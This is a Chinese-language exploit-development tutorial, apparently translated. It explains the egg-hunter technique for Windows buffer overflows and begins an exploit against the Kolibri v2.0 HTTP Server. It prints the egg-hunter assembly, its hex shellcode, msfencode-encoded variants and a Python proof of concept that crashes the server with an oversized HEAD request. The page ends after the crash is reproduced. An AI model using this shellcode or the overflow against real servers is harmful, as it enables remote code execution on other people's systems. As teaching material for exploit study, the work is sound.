返回介绍

寻蛋技术介绍

发布于 2025-01-03 23:32:53 字数 4395 浏览 0 评论 0 收藏 0

通过前面的学习我们知道缓冲区溢出是如何工作的. 某个 CPU 寄存器指向我们可控的缓冲区,劫持执行流重定向到这个 CPU 寄存器指向的地址,然后放置在缓冲区内的任何指令都会被执行. 但是假如我们得到程序控制权,缓冲区缺放不下我们的大 payload 怎么办. 难道这个漏洞就没法利用了? 事实上是可以的. 只需完成这两件事中的一件:(1)EIP 后的内容也出现在内存的其它地方 (2) 布置 shellcode 在不同的内存区域. 如果这些内存区域距离很近,你可以用 jmp offset 指令从一个内存区域跳到另一个内存区域. 然而,如果距离太远或很难访问到这里区域,我们需要用另外的技术(我们可以硬编码一个地址然后跳转到它,为了实现稳定利用显然这不是好主意)

使用寻蛋技术! 寻蛋技术由一组编程指令组成,与别的 shellcode 没什么两样. 寻蛋的目的是为了搜索整个内存空间(栈/堆/…) 找到我们真正的 shellcdoe 并执行它. 这里有几个可用的寻蛋指令,如果你想知道它是如何工作的我推荐你读 skape 写的这篇文章,事实上我会稍微修改这些寻蛋指令,这些指令在下面:

loop_inc_page: 
or  dx, 0x0fff          // Add PAGE_SIZE-1 to edx 
loop_inc_one: 
inc   edx               // Increment our pointer by one 
loop_check: 
push  edx               // Save edx 
push  0x2               // Push NtAccessCheckAndAuditAlarm 
pop   eax               // Pop into eax 
int   0x2e              // Perform the syscall 
cmp   al, 0x05            // Did we get 0xc0000005 (ACCESS_VIOLATION) ? 
pop   edx               // Restore edx 
loop_check_8_valid:  
je  loop_inc_page         // Yes, invalid ptr, go to the next page 
is_egg: 
mov   eax, 0x50905090         // Throw our egg in eax 
mov   edi, edx            // Set edi to the pointer we validated 
scasd                 // Compare the dword in edi to eax 
jnz   loop_inc_one          // No match? Increment the pointer by one 
scasd                 // Compare the dword in edi to eax again (which is now edx + 4) 
jnz   loop_inc_one          // No match? Increment the pointer by one 
matched: 
jmp   edi               // Found the egg.  Jump 8 bytes past it into our code.

我不会解释它是怎么工作的,你可以通过 skape 的文章了解更多细节. 你需要知道的是蛋(也就是我们的 shellcode) 包含四个字节的标志头. 如果寻蛋开始,首先它会搜索整个内存直至找到重复两次找到这个标志(如果标志是”1234”, 那么就搜索”12341234”). 当找到这个标志,改变执行流跳转到标志后的 shellcode 执行. 如果你需要寻蛋指令,我推荐下面这个,很小,速度和跨 windows 平台都不错:

"\x66\x81\xca\xff" 
"\x0f\x42\x52\x6a" 
"\x02\x58\xcd\x2e" 
"\x3c\x05\x5a\x74" 
"\xef\xb8\x62\x33" #b3 
"\x33\x66\x8b\xfa" #3f 
"\xaf\x75\xea\xaf" 
"\x75\xe7\xff\xe7" 
The tag in this case is "b33f", if you use an ASCII tag you can easily convert it to hex with a quick  
google search... In this case we will need to prepend our final stage shellcode with "b33fb33f" so our 
egg hunter can find it. 

在开始前,我会告诉你加入寻蛋指令包含坏字符怎么办. 首先我们写这 32 字节到二进制文件,可以用我写的”bin.sh”完成,接下来用 msfencode 编码它. 下面是一个例子. 注意编码会改变大小。

root@bt:~/Desktop# ./bin.sh -i test.txt -o hunter -t B
[>] Parsing Input File
[>] Pipe output to xxd
[>] Clean up
[>] Done!!

root@bt:~/Desktop# msfencode -b '\xff' -i hunter.bin[*] x86/shikata_ga_nai succeeded with size 59 (iteration=1)
buf = 
"\xd9\xcf\xd9\x74\x24\xf4\x5e\x33\xc9\xbf\x4d\x1a\x03\x02" +
"\xb1\x09\x31\x7e\x17\x83\xee\xfc\x03\x33\x09\xe1\xf7\xad" +
"\xac\x2f\x08\x3e\xed\xfd\x9d\x42\xa9\xcc\x4c\x7e\x4c\x95" +
"\xe4\x91\xf6\x4b\x36\x5e\x61\x07\xc2\x0f\x18\xfd\x9c\x3a" +
"\x04\xfe\x04"

root@bt:~/Desktop# msfencode -e x86/alpha_mixed -i hunter.bin[*] x86/alpha_mixed succeeded with size 125 (iteration=1)
buf = 
"\xdb\xcf\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x43\x56\x6b\x31\x49\x5a\x6b\x4f\x46\x6f\x37" +
"\x32\x46\x32\x70\x6a\x44\x42\x42\x78\x5a\x6d\x46\x4e\x77" +
"\x4c\x35\x55\x32\x7a\x71\x64\x7a\x4f\x48\x38\x73\x52\x57" +
"\x43\x30\x33\x62\x46\x4c\x4b\x4a\x5a\x4c\x6f\x62\x55\x6b" +
"\x5a\x6e\x4f\x43\x45\x69\x77\x59\x6f\x78\x67\x41\x41"

以上的背景知识足够,是时候开始实战了!!!

重现崩溃

针对’Kolibri v2.0 HTTP Server’的利用,我们把 shellcode 嵌入到一个 HTTP 请求. 下面是 POC. 实际应用中你可能需要改变 EIP; 8080 是默认端口。

#!/usr/bin/python
 
import socket
import os
import sys
 
Stage1 = "A"*600
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

附加 Kolibri 到 Immunity Debugger 调试器并执行这个 POC, 下图可以看到我们成功覆写 EIP 并且 ESP 指向我们的缓冲区. 注意如果我们发送超长的字符串同样可以覆盖到 SHE. 很有方法利用这个漏洞,我决定使用寻蛋技术。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文